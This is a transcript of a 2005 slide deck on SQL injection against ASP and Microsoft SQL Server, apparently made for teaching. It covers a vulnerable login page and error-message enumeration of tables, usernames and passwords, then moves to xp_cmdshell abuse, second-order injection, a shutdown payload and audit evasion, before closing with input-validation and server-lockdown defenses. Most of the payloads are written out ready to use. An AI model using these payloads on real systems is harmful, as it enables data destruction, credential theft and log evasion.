بسم الله الرحمن الرحیم. 2 sql injection october 2005

49
م ی ح ر ل ا ن م ح ر ل ه ا ل ل م ا س ب

Upload: mohamed-farleigh

Post on 22-Dec-2015

221 views

Category:

Documents


2 download

TRANSCRIPT

Page 1: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

الرحیم الرحمن الله الرحیم بسم الرحمن الله بسم

Page 2: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

2

SQL InjectionSQL Injection

October 2005

Page 3: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

3

Table Of ContentTable Of Content

• Introduction

• Obtaining Information Using Errors

• Leveraging Further Access

• Advanced SQL Injection

• Defenses

• References

Page 4: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

INTODUCTION 4

INTRODUCTIONINTRODUCTION

• SQL is textual

• The unit of executions is “Query”, returns “result Set”

• SQL statements: DDL, DCL, DML

Page 5: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

INTODUCTION 5

What is a SQL Injection?What is a SQL Injection?

• SQL Injection occurs when an attacker is able to insert a series of SQL statements into a ‘query’ by manipulating data input into an application.

Page 6: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

INTODUCTION 6

ExampleExample

• A typical SQL statement:select id, forename, surname from authors where forename=‘John’ and surname=‘Smith’

• An Injection:Forename: Jo’hnSurname: Smith

Then the query becomes:select id, forename, surname from authors where forename=‘Jo’hn’ and surname=‘Smith’

Result:Server: Msg 170, Level 15, State 1, Line 1Line1: Incorrect syntax near ‘hn’.

Page 7: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

INTODUCTION 7

Example (Cont.)Example (Cont.)

So due to, Forename: Jo’; Drop table authors --

Surename:

…the authors table would be deleted!

Page 8: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

INTODUCTION 8

A Simple Cure?!A Simple Cure?!

Cure Method• Removing single-quotes• “Escaping” single-quotes

Why not?• Input various types

– select id, forename where id=1234

• Using different delimiters• “Escaping” is not always the cure

Page 9: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

INTODUCTION 9

HTML Login PageHTML Login Page<HTML> <HEAD> <TITLE>Login Page</TITLE> </HEAD>

<BODY bgcolor='000000' text='cccccc'> <FONT Face='tahoma' color='cccccc'> <CENTER><H1>Login</H1>

<FORM action='process_login.asp' method=post>

<TABLE> <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100% Page 4width=100></INPUT></TD></TR> <TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%

width=100></INPUT></TD></TR> </TABLE>

<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>

</FORM> </FONT> </BODY> </HTML>

View Result

Page 10: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

INTODUCTION 10

Process_Login.asp PageProcess_Login.asp Page<%@LANGUAGE = JScript %> <% function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str ); } function Login( cn ) { var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset");

var sql = "select * from users where username = ‘ “ + username + “ ' and password = ‘ " + password + “ ‘ ";

trace( "query: " + sql ); rso.open( sql, cn ); if (rso.EOF) { rso.close(); %>

Some possible injections are

Username: ‘; drop table users --

Password:

Or

Username: admin ‘ --

Or

Username: ‘ or 1=1 --

Or

‘ union select 1, ‘Fictional_User’, ‘SomePassword’, 1 --

Page 11: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

INTRODUCTION 11

Preprocessor Notes!Preprocessor Notes!

1. “;” means end of the statement in SQL.

2. “--” means comment in SQL.

“drop table users” means delete the users table completely from the database.

“select rank from users where username=‘Hossein’ ” Retrieves the rank of a user, named “Hossein”

So respectly, entering “‘; drop table users --" as the username:

select rank from users where username=‘ ‘‘; drop table users --

Page 12: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

12

Obtaining Information Using Error Messages

Obtaining Information Using Error Messages

Page 13: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Error Message Technique 13

Technique BackgroundTechnique Background

• First discovered by David Litchfield

• Later, Litchfield wrote a paper on it– Web Application Disassembly with ODBC Error Messages, David

Litchfield

http://www.nextgenss.com/papers/webappdis.doc

• Subsequent authors have referenced it

Page 14: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Error Message Technique 14

Table StructureTable Structurecreate table users( id int,

username varchar(255), password varchar(255), privs int )

insert into users values( 0, 'admin', 'r00tr0x!', 0xffff ) insert into users values( 1, 'guest', 'guest', 0x0000 ) insert into users values( 2, 'chris', 'password', 0x00ff ) insert into users values( 3, 'fred', 'sesame', 0x00ff )

?

Page 15: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Error Message Technique 15

How To AttackHow To Attack

• The attacker must know the structure

• ASP returns the error messages from application by default

• Using the information from error messages step by step

Page 16: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Error Message Technique 16

Table Name, Column NameTable Name, Column Name

• Step 1– Username: ‘ having 1=1 --

Microsoft OLE DB Provider for ODBC Drivers error

'80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column

is invalid in the select list because it is not

contained in an aggregate function and there is no

GROUP BY clause.

/process_login.asp, line 35

'users.id'

• Table Name: “users”• First Column Name: “id”

Page 17: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Error Message Technique 17

Table Name, Column NameTable Name, Column Name

• Step 2– Username: ‘ group by user.id having 1=1 --

Microsoft OLE DB Provider for ODBC Drivers error

'80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column

is invalid in the select list because it is

not contained in an aggregate function and there is no

GROUP BY clause.

/process_login.asp, line 35

‘users.username’

• Second Column Name: “username”

Page 18: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Error Message Technique 18

Table Name, Column NameTable Name, Column Name

• Finally in Step 4– Username: ‘ group by users.id,

users.username, users.password, users.privs having 1=1 --

• Which produces no errors and functionally equivalent to:

– Select * from users where username= ‘’

• Knowledge up to now– The query is referencing only ‘users’ table

– Table columns are ‘id, username, password, privs’, in this order

Page 19: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Error Message Technique 19

Finding TypesFinding Types

• The key is “Type Conversion” error message:Username: ‘ union select sum(username) from users --

• SQL server apply “sum” clause before checking the number of fields to be equal in “union” clause

• Error message would be:Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a data type as an argument. /process_login.asp, line 35 varchar

• So the type of “username” is:

Page 20: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Error Message Technique 20

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35

Finding TypesFinding Types

• For numeric types we have error for not matching number of fields in row sets:

Username: ' union select sum(id) from users--

must have an equal number

Page 21: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Error Message Technique 21

Reward!Reward!

• These knowledge allows a well - formed 'insert' query, like this:

Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--

Page 22: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Error Message Technique 22

We Won’t STOP!We Won’t STOP!

• Information about the environmentselect * from master..sysmessages

• “Type Conversion” also helps here!Username: ' union select @@version,1,1,1--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value

to a column of data type int.

/process_login.asp, line 35

'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) '

• So the version of SQL Server is:

Page 23: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Error Message Technique 23

Collecting User NamesCollecting User Names

• Selecting the minimum username that is greater than 'a', and attempts to convert it to an integer

Username: ' union select min(username),1,1,1 from users where username > 'a'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. /process_login.asp, line 35

Username: ' union select min(username),1,1,1 from users where username > 'admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int. /process_login.asp, line 35

Page 24: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Error Message Technique 24

Gathering PasswordsGathering Passwords

Username: ' union select password,1,1,1 from users where username = 'admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!‘ to a column of data type int. /process_login.asp, line 35

Page 25: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

25

Leveraging Further AccessLeveraging Further Access

Page 26: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Leveraging Further Access 26

Further Control Over NetFurther Control Over Net

• Using the xp_cmdshell • Using the xp_regread • Use other extended stored procedures • Run queries on linked servers

Page 27: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Leveraging Further Access 27

xp_cmdshellxp_cmdshell

• exec master..xp_cmdshell 'dir'

• exec master..xp_cmdshell 'net1 user'

Page 28: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Leveraging Further Access 28

xp_regreadxp_regread

• xp_regaddmultistring • xp_regdeletekey • xp_regdeletevalue • xp_regenumkeys • xp_regenumvalues • xp_regread • xp_regremovemultistring • xp_regwrite

Page 29: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Leveraging Further Access 29

Other Extended Stored Procedures Other Extended Stored Procedures

xp_servicecontrol start, stop, pause and 'continue‘ services

xp_availablemedia reveals the available drives on the machine.

xp_dirtree allows a directory tree to be obtained

xp_enumdsn enumerates ODBC data sources on the server

xp_loginconfig reveals information about the security mode of the server.

xp_makecab allows the user to create a compressed archive of files on the server (or any files the server can access)

xp_ntsec_enumdomains enumerates domains that the server can access

xp_terminate_process terminates a process, given its PID

Page 30: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

30

Again Further!Again Further!

• Linked Servers

• Creating custom extended stored procedures

• Use the 'bulk insert' statement

• Use bcp

• Using the sp_OACreate, sp_OAMethod and sp_OAGetProperty to create ActiveX

Page 31: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

31

Advanced SQL InjectionAdvanced SQL Injection

Page 32: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Advanced SQL Injection 32

Get Rid Of Quotes!Get Rid Of Quotes!

• Using VBScript “replace” function to “escape”

function escape( input )

input = replace (input, “ ‘ “, “ ‘’ “)

escape = input

end function

• Removing “;” also helps a lot!

• Input may be numeral, using no delimiters

• Using ‘char’ function: insert into users values (666,

char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),

char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),

0xffff )

insert into users values ( 667, 123, 123, 0xffff )

Page 33: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Advanced SQL Injection 33

Second-Order SQL InjectionSecond-Order SQL Injection

• If the data in DB is reused by the application

Username: admin ‘--

Password: password

( Correctly escaped )insert into users values( 123, ‘admin’’--’, ‘password’, 0xffff)

Page 34: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Advanced SQL Injection 34

Second-Order SQL InjectionSecond-Order SQL Injection

• i.e. application allows changing password

userName = escape(Request.form (“username”));

oldPassword = escape (Request.form (“oldPassword”));

newPassword = escape (Request.form (“newPassword”));

var rso = “select * from users where username=‘ “ + username+ “ ‘ and password=‘ “ + oldpassword +” ‘ “;

rso.open (sql, cn);

if (rso.EOF)

{ …

• The query to set new password:sql = “update users set password= ‘ “+ newPassword +” ‘ where username= ‘ “+ rso (“username”) + “ ‘ “

update users set password= ‘password ‘ where username= ‘admin’--’

Page 35: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Advanced SQL Injection 35

Length LimitLength Limit

• Sometimes Length of input is restricted– (Shutting down with only 12 characters)

Username: ‘;shutdown--

• Appling length limit after “escaping”– username: aaaaaaaaaaaaaaa’

password: ’;shutdown--

select * from users where username=‘aaaaaaaaaaaaaaa’ ’ and password =‘ ‘ ‘; shutdown--

Page 36: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Advanced SQL Injection 36

Audit EvasionAudit Evasion

• Using “sp_password” stored procedure– --’sp_password’ was found in the text of this event

-- The text has been replaced with this comment for security reasons

Username: admin’--sp_password

Page 37: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

37

DefensesDefenses

Page 38: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Defensed 38

Way of DefenseWay of Defense

• Input Validation

• SQL server lockdown

Page 39: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Defensed 39

Input ValidationInput Validation

• Different Approaches1. Massage data

2. Reject bad inputs

3. Accept only good inputs

• Combine your weapons– Hyphenated surnames: Quentin Bassington-Bassington

– Combined attacks: un’ion se’lect @@version-’-

Page 40: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Defensed 40

Escaping ExampleEscaping Example

function escape( input )

input = replace(input, “ ‘ “, “ ‘ ‘ “)

escape = input

end function

Page 41: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Advanced SQL Injection 41

Reject or Change?Reject or Change?

• Rejecting “Bad Input” is better unless “Bad Characters” are necessary:– O’Clock

• “Escaping” include ALL data that goes into a SQL query string

Page 42: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Defensed 42

Reject Bad Input ExampleReject Bad Input Example

function validate_string( input ) known_bad = array( "select", "insert", "update", "delete", "drop", "--", "'" )

validate_string = true for i = lbound( known_bad ) to ubound( known_bad )

if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 ) then

validate_string = false exit function

end if next

end function

Page 43: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

Defensed 43

Allow Only Good Input ExampleAllow Only Good Input Examplefunction validatepassword( input )

good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

validatepassword = true for i = 1 to len( input )

c = mid( input, i, 1 ) if ( InStr( good_password_chars, c ) = 0 ) then

validatepassword = false exit function

end if next

end function

Page 44: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

44

SQL Server LockdownSQL Server Lockdown

Page 45: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

45

SQL Lockdown IssuesSQL Lockdown Issues

1. Determine methods of connection

2. Verify which accounts exist

3. Verify which objects exist

4. Verify which accounts can access which objects

5. Verify the patch level of the server

6. Verify what will be logged, and what will be done with logs

A Lockdown Checklist at:

www.sqlsecurity.com

Page 46: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

46

ReferencesReferences

Page 47: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

47

ReferencesReferences• Web Application Disassembly with ODBC Err Messages, David Litchfield

http://www.nextgenss.com/papers/webappdis.doc

• SQL Security Checklisthttp://www.sqlsecurity.com/checklist.asp

• SQL Server 2000 Extended Stored Procedure Vulnerabilityhttp://www.atstake.com/research/advisories/2000/al20100-2.txt

• Microsoft SQL Server Extended Stored Procedure Vulnerabilityhttp://www.atstake.com/research/advisories/2000/al20100-1.txt

• Multiple Buffer Format String Vulnerabilities in SQL Serverhttp://www.microsoft.com/technet/security/bulletin/MS01-060.asphttp://www.atstake.com/research/advisories/2001/al22001-1.txt

Page 48: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

48

Page 49: بسم الله الرحمن الرحیم. 2 SQL Injection October 2005

49